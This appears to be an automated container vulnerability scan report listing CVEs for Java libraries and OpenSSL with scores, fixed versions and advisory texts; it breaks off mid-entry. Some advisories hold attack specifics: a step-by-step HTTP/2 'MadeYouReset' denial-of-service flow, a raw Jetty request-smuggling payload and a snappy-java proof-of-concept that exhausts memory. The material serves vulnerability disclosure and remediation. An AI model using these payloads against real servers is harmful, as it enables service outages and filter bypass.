Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.424%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.014%
EPSS Percentile2nd percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.10 (maven) + +pkg:maven/ch.qos.logback/logback-core@1.2.10
+high 7.1: CVE--2023--6378 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
+ +
Description +
+ +A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. + +This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html + +
+
+ +medium 5.9: CVE--2025--11226 Improper Input Validation + + + + + + + + +
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. + +A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. + +
+
+ +medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
+ +
Description +
+ +ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. + +Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. + +A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. + +
+
+ +low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. + +The attacks involves the modification of DOCTYPE declaration in  XML configuration files. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 ch.qos.logback/logback-classic 1.2.10 (maven) + +pkg:maven/ch.qos.logback/logback-classic@1.2.10
+high 7.1: CVE--2023--6378 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
+ +
Description +
+ +A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. + +This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.94.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
